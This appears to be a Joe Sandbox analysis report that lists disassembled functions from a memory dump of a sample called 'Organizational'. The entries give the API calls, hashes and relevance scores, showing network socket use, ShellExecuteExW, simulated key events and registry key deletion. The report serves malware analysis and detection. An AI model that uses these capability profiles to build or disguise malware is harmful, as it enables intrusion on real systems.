Opcode Fuzzy Hash: e3f290ec29582d80ff5ea5feeba385d259e67d52cad46f888fdbba9d2a54f212
Instruction Fuzzy Hash: 9021F973B022057BD65475118D82FEB3FACAE11BA4F085020FE06A6352F715DE11F6E6

Function 00F5F166 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00EF4D37: __itow.LIBCMT ref: 00EF4D62
Part of subcall function 00EF4D37: __swprintf.LIBCMT ref: 00EF4DAC

Part of subcall function 00F0436A: _wcscpy.LIBCMT ref: 00F0438D

_wcstok.LIBCMT ref: 00F5F2D7
_wcscpy.LIBCMT ref: 00F5F366
_memset.LIBCMT ref: 00F5F399

Strings

X, xrefs: 00F5F3D6

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: 7979c7cc7a2cf7cf6303107ac22df1b2cef662566d62c280aefb722c2c1432ee
Instruction ID: c9c51a8e176a880bca7a8b8778b490fe3438c1637208e14375217fc03933a844
Opcode Fuzzy Hash: 7979c7cc7a2cf7cf6303107ac22df1b2cef662566d62c280aefb722c2c1432ee
Instruction Fuzzy Hash: A3C19F716043409FD714EF24C881A6FB7E4BF85350F04496DFA99972A2DB34EC49EB82

Function 00F671EE Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00F672EB
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00F6730C
WSAGetLastError.WSOCK32(00000000), ref: 00F6731F
htons.WSOCK32(?,?,?,00000000,?), ref: 00F673D5
inet_ntoa.WSOCK32(?), ref: 00F67392

Part of subcall function 00F4B4EA: _strlen.LIBCMT ref: 00F4B4F4
Part of subcall function 00F4B4EA: _memmove.LIBCMT ref: 00F4B516

_strlen.LIBCMT ref: 00F6742F
_memmove.LIBCMT ref: 00F67498

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: 98db580e93876fcce201a3f27194f050a8477d1eacbe706c77bfac49d4dbdcd3
Instruction ID: bc8fcfc5871c47ca629c17a348cb0bec18b4463afa1fc235bf1dd0fbf4941715
Opcode Fuzzy Hash: 98db580e93876fcce201a3f27194f050a8477d1eacbe706c77bfac49d4dbdcd3
Instruction Fuzzy Hash: 7F81B172608304ABD310EB24CC95E6BB7E8AF84714F10451CFA56AB2D2DF74DD45DB91

Function 00EF1800 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1331b6aa5a82c5a4d586f39ec770164d368bbffdd1d06bd448f6e6d9d4d950a5
Instruction ID: 2beaf57c45562326c74dfe8c2e51108c193ca978daa2a0de0fde316cfd293718
Opcode Fuzzy Hash: 1331b6aa5a82c5a4d586f39ec770164d368bbffdd1d06bd448f6e6d9d4d950a5
Instruction Fuzzy Hash: A3714C3090014DEFCB08DF59CD49AFEBBB5FF86324F148199EA15AA251C7349A51DFA0

Function 00F7B9C3 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(01464A90), ref: 00F7BA5D
IsWindowEnabled.USER32(01464A90), ref: 00F7BA69
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00F7BB4D
SendMessageW.USER32(01464A90,000000B0,?,?), ref: 00F7BB84
IsDlgButtonChecked.USER32(?,?), ref: 00F7BBC1
GetWindowLongW.USER32(01464A90,000000EC), ref: 00F7BBE3
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00F7BBFB

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 014744c1cb766cd948195a3b43b98850db1d8fbe68127cc325d69a5127a1442d
Instruction ID: 709cca0ea8c72ee14e6369088172ed9fea1b938b48acabfd0ac696567bdc4fba
Opcode Fuzzy Hash: 014744c1cb766cd948195a3b43b98850db1d8fbe68127cc325d69a5127a1442d
Instruction Fuzzy Hash: 35718034A04205AFEB25AF54C8D4FFA77A5EF8A320F14805AFD4997251CB35AC50FB52

Function 00F6FB07 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F6FB31
_memset.LIBCMT ref: 00F6FBFA
ShellExecuteExW.SHELL32(?), ref: 00F6FC3F

Part of subcall function 00EF4D37: __itow.LIBCMT ref: 00EF4D62
Part of subcall function 00EF4D37: __swprintf.LIBCMT ref: 00EF4DAC

Part of subcall function 00F0436A: _wcscpy.LIBCMT ref: 00F0438D

GetProcessId.KERNEL32(00000000), ref: 00F6FCB6
CloseHandle.KERNEL32(00000000), ref: 00F6FCE5

Strings

@, xrefs: 00F6FC0E

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: 6d23804e2862fe582e38997ab4ca6403ee4e932b51a633fa9325f72d1c4f323a
Instruction ID: 4c8bf1341c6ff6a680067d41703639cdbf9701d1ca7d0735e6602c32519893d3
Opcode Fuzzy Hash: 6d23804e2862fe582e38997ab4ca6403ee4e932b51a633fa9325f72d1c4f323a
Instruction Fuzzy Hash: 8361DFB5A00619DFCB14EF94D8909AEB7F4FF48310F108469E906BB391CB35AE45EB90

Function 00F5174C Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00F5178B
GetKeyboardState.USER32(?), ref: 00F517A0
SetKeyboardState.USER32(?), ref: 00F51801
PostMessageW.USER32(?,00000101,00000010,?), ref: 00F5182F
PostMessageW.USER32(?,00000101,00000011,?), ref: 00F5184E
PostMessageW.USER32(?,00000101,00000012,?), ref: 00F51894
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00F518B7

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: bdf18f27c1b31f4d3705923af174381d3bfb2fed6177cefde4d2ec58a4d1ff95
Instruction ID: aa97f281ef3a79d34f915222394341ada83eee5a4308103fe1aa3f97bb102020
Opcode Fuzzy Hash: bdf18f27c1b31f4d3705923af174381d3bfb2fed6177cefde4d2ec58a4d1ff95
Instruction Fuzzy Hash: 7F51D360A047D53DFB364228CC55BB67EE97B06316F088589EAD5458C2D698BC8CE750

Function 00F51565 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00F515A4
GetKeyboardState.USER32(?), ref: 00F515B9
SetKeyboardState.USER32(?), ref: 00F5161A
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00F51646
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00F51663
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00F516A7
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00F516C8

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: abde03f109f4bf9d71fe481a4e202bc3e66b4f139a6df989f8ed7ae749fcea08
Instruction ID: d285c79b89b250a9e5f5f392232abbf1002ec8465baeb4ba3fb1a8c284950950
Opcode Fuzzy Hash: abde03f109f4bf9d71fe481a4e202bc3e66b4f139a6df989f8ed7ae749fcea08
Instruction Fuzzy Hash: DA5103A0A047D53DFB3283248C45BBA7EA97B46312F0C4589EAD5468C2D7A8FC9CF750

Function 00F55BB8 Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00F55BC5
_wcsncpy.LIBCMT ref: 00F55BFA
_wcsncpy.LIBCMT ref: 00F55C2C
_wcsncpy.LIBCMT ref: 00F55C5F
_wcsncpy.LIBCMT ref: 00F55CA1
_wcsncpy.LIBCMT ref: 00F55CDB
_wcsncpy.LIBCMT ref: 00F55D0A

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 7ddd32d31fcaf75b9e9befc312b2b3c0832c40b41d0ed59bea1c93a06e254b0b
Instruction ID: 9571ec3390ec45463b3da53b5d8f012f6f0ea7de5441f3e3fb4d5a0ea06ec0b9
Opcode Fuzzy Hash: 7ddd32d31fcaf75b9e9befc312b2b3c0832c40b41d0ed59bea1c93a06e254b0b
Instruction Fuzzy Hash: EC419076C1061875CB51FBF4CC4A9CFB3B8AF04311F518856E909E3221E738A3A9D3A6

Function 00F53B64 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F54BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00F53B8A,?), ref: 00F54BE0

Part of subcall function 00F54BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00F53B8A,?), ref: 00F54BF9

lstrcmpiW.KERNEL32(?,?), ref: 00F53BAA
_wcscmp.LIBCMT ref: 00F53BC6
MoveFileW.KERNEL32(?,?), ref: 00F53BDE
_wcscat.LIBCMT ref: 00F53C26
SHFileOperationW.SHELL32(?), ref: 00F53C92

Strings

\*.*, xrefs: 00F53C20

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: b825bbfa6a26a2fa344a4364580fbdc206233bd65f41a57ecff50b429a13e601
Instruction ID: 9ec7cba2e7d19e38341ff29cc6463f3da6961f8b5c3bde3f4dba693b86989dad
Opcode Fuzzy Hash: b825bbfa6a26a2fa344a4364580fbdc206233bd65f41a57ecff50b429a13e601
Instruction Fuzzy Hash: 6941847250C344AAC751EF68D845ADBB7ECAF89391F40092EF989C3151EB38D68CE752

Function 00F778B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F778CF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00F77976
IsMenu.USER32(?), ref: 00F7798E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00F779D6
DrawMenuBar.USER32 ref: 00F779E9

Strings

0, xrefs: 00F778C3

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 6e665ec95f23593840ebb683e34346e96fe1954fd00af02648cac98eda8341bc
Instruction ID: e6f43b00fec7cc4ecf0743846396147ef56a925a990e6a1af7f61632ec32586d
Opcode Fuzzy Hash: 6e665ec95f23593840ebb683e34346e96fe1954fd00af02648cac98eda8341bc
Instruction Fuzzy Hash: DF416C75A15348EFDB10EF54D884EAABBF5FB05320F04812AEA599B250C730AD50EFA1

Function 00F71602 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00F71631
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00F7165B
FreeLibrary.KERNEL32(00000000), ref: 00F71712

Part of subcall function 00F71602: RegCloseKey.ADVAPI32(?), ref: 00F71678
Part of subcall function 00F71602: FreeLibrary.KERNEL32(?), ref: 00F716CA
Part of subcall function 00F71602: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00F716ED

RegDeleteKeyW.ADVAPI32(?,?), ref: 00F716B5

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 42c33168dd0237560439cf4b0adca5b68d37178b0c6c8abe76f5763e08ef49cb
Instruction ID: 53907b7c1051ca1c602a9e0fdf995a7d377db74afead44803b57df2a4da6f6f6
Opcode Fuzzy Hash: 42c33168dd0237560439cf4b0adca5b68d37178b0c6c8abe76f5763e08ef49cb
Instruction Fuzzy Hash: A7313AB190010DBFEB149B94DC89EFEB7BCFF08310F50416AE905A2140EA749E49ABA1

Function 00F768F2 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00F76911
GetWindowLongW.USER32(01464A90,000000F0), ref: 00F76944
GetWindowLongW.USER32(01464A90,000000F0), ref: 00F76979
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00F769AB
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00F769D5
GetWindowLongW.USER32(?,000000F0), ref: 00F769E6
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00F76A00

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: e7f1ba30b783e1f4c647b4737bbc3cea6b8ee6a5ae282e4cfc1dee2754350084
Instruction ID: 07b08457c2a2ab07f755cfd4e4f3f3ee2927aa2257f9e420294cb0db142de66b
Opcode Fuzzy Hash: e7f1ba30b783e1f4c647b4737bbc3cea6b8ee6a5ae282e4cfc1dee2754350084
Instruction Fuzzy Hash: 33313830A046599FDB20DF18DC88F6437E1EB89320F2841A5F608CB2B2CB71EC54EB52

Function 00F4E287 Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00F4E2CA
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00F4E2F0
SysAllocString.OLEAUT32(00000000), ref: 00F4E2F3
SysAllocString.OLEAUT32(?), ref: 00F4E311
SysFreeString.OLEAUT32(?), ref: 00F4E31A
StringFromGUID2.OLE32(?,?,00000028), ref: 00F4E33F
SysAllocString.OLEAUT32(?), ref: 00F4E34D

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 56e6604cfe5c9cf5137ede2a259cb61f1a0a369881388d0ab95027d9652df67a
Instruction ID: 3a855742f0cbebc8631fb472e5e1d95a05bdd5d5f4eab4ecaa4b4dec4f4cd357
Opcode Fuzzy Hash: 56e6604cfe5c9cf5137ede2a259cb61f1a0a369881388d0ab95027d9652df67a
Instruction Fuzzy Hash: 33217476A0421DAF9B50DFA8DC88DBA7BACFF08360B444125FE14DB250DA70AD85A760

Function 00F6685E Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00F68475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00F684A0

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00F668B1
WSAGetLastError.WSOCK32(00000000), ref: 00F668C0
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00F668F9
connect.WSOCK32(00000000,?,00000010), ref: 00F66902
WSAGetLastError.WSOCK32 ref: 00F6690C
closesocket.WSOCK32(00000000), ref: 00F66935
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00F6694E

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 7a9015f529e1a325e96e6a25f49cbd40bf98bf9aecefe779692b60507d7a9114
Instruction ID: f9ea7a996c04ef93e4de6920d1dd82443c3a98d0cb066cd6a455f1ccdb05c4eb
Opcode Fuzzy Hash: 7a9015f529e1a325e96e6a25f49cbd40bf98bf9aecefe779692b60507d7a9114
Instruction Fuzzy Hash: B031B171600208AFDB10AF64CC85FBE77A9EF44721F044129FE05EB2D1CB74AC44ABA1

Function 00F4E360 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00F4E3A5
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00F4E3CB
SysAllocString.OLEAUT32(00000000), ref: 00F4E3CE
SysAllocString.OLEAUT32 ref: 00F4E3EF
SysFreeString.OLEAUT32 ref: 00F4E3F8
StringFromGUID2.OLE32(?,?,00000028), ref: 00F4E412
SysAllocString.OLEAUT32(?), ref: 00F4E420

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 3dbf11494d6b0c9b0220edcf9817bbdb1cd02d9823a05d02bf648c4ae528e139
Instruction ID: 7f4b92e5842d22cd1b77405e27658d0c519f16bc7b540fd138120b9071c40c04
Opcode Fuzzy Hash: 3dbf11494d6b0c9b0220edcf9817bbdb1cd02d9823a05d02bf648c4ae528e139
Instruction Fuzzy Hash: E4216536604108AF9B50DFA8DC88DBA7BECFF08370B408525FD05CB260DA75AC85AB64

Function 00F77BF2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EF2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00EF214F
Part of subcall function 00EF2111: GetStockObject.GDI32(00000011), ref: 00EF2163
Part of subcall function 00EF2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00EF216D

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00F77C57
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00F77C64
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00F77C6F
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00F77C7E
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00F77C8A

Strings

Msctls_Progress32, xrefs: 00F77C28

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
